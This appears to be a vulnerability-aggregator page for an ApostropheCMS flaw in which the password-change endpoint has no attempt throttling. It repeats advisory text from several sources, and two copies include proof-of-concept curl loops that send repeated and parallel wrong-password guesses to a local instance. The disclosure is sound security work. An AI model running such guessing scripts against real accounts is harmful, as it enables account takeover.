CVE-2026-113710
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.9
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.
- Record
CVE-2026-113710- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-307
- Updated
- 2026-11-02
EUVDEUVD-2026-105221
5.9
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.
- Record
EUVD-2026-105221- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-653j-g8j7-gh54
5.9
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
Summary The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.
Exact source path packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
The password-change route is: PATCH /api/v1/@apostrophecms/settings/password
The route calls the password verifier directly through: await self.handleProtectedSubform(req, subform, req.body );
The password verification path is: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542
async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }
The verifier itself does not increment the login-attempt cache or enforce a delay: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487
By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929
Local PoC The test used a disposable authenticated guest session against:
Request:
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json
{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}
Equivalent command:
for i in 1 2 3 4 5; do
time curl -i -sS \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}'
done
Observed response All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" }
Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms
No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.
seq 1 20 | xargs -P 20 -I{} sh -c
"curl --max-time 15 -sS
-o /tmp/password-attempt-{}.body
-w '%{http_code}\n'
-b /path/to/temporary-session-cookie-jar.txt
-X PATCH
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password'
-H 'Content-Type: application/json'
--data-raw '{"password":"new-temporary-password-{}","passwordRepeat":"new-temporary-password-{}","passwordCurrent":"wrong-current-{}"}'"
Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response
The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK
Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject…
- Record
GHSA-653j-g8j7-gh54- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-307
- Updated
- 2026-11-02
NVD
5.9
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.
- Record
CVE-2026-113710- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-307
- Updated
- 2026-11-02
OSV
5.9
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.
- Record
CVE-2026-113710- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-307
- Updated
- 2026-11-02
OSVGHSA-653j-g8j7-gh54
5.9
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
Summary The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.
Exact source path packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
The password-change route is: PATCH /api/v1/@apostrophecms/settings/password
The route calls the password verifier directly through: await self.handleProtectedSubform(req, subform, req.body );
The password verification path is: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542
async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }
The verifier itself does not increment the login-attempt cache or enforce a delay: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487
By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929
Local PoC The test used a disposable authenticated guest session against:
Request:
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json
{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}
Equivalent command:
for i in 1 2 3 4 5; do
time curl -i -sS \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}'
done
Observed response All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" }
Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms
No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.
seq 1 20 | xargs -P 20 -I{} sh -c
"curl --max-time 15 -sS
-o /tmp/password-attempt-{}.body
-w '%{http_code}\n'
-b /path/to/temporary-session-cookie-jar.txt
-X PATCH
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password'
-H 'Content-Type: application/json'
--data-raw '{"password":"new-temporary-password-{}","passwordRepeat":"new-temporary-password-{}","passwordCurrent":"wrong-current-{}"}'"
Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response
The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK
Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject…
- Record
GHSA-653j-g8j7-gh54- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-307
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
apostrophenpm |
before 4.33.0 | 4.33.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-113710 is a medium vulnerability (CVSS 5.9) in Apostrophecms Apostrophe, published October 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in apostrophe 4.33.0.
References
github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54
github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
github.com/apostrophecms/apostrophe/releases/tag/[email protected]
github.com/advisories/GHSA-653j-g8j7-gh54
github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113710.json
nvd.nist.gov/vuln/detail/CVE-2026-113710
github.com/apostrophecms/apostrophe
Left out here: the rest of 2 source descriptions. The JSON record has them.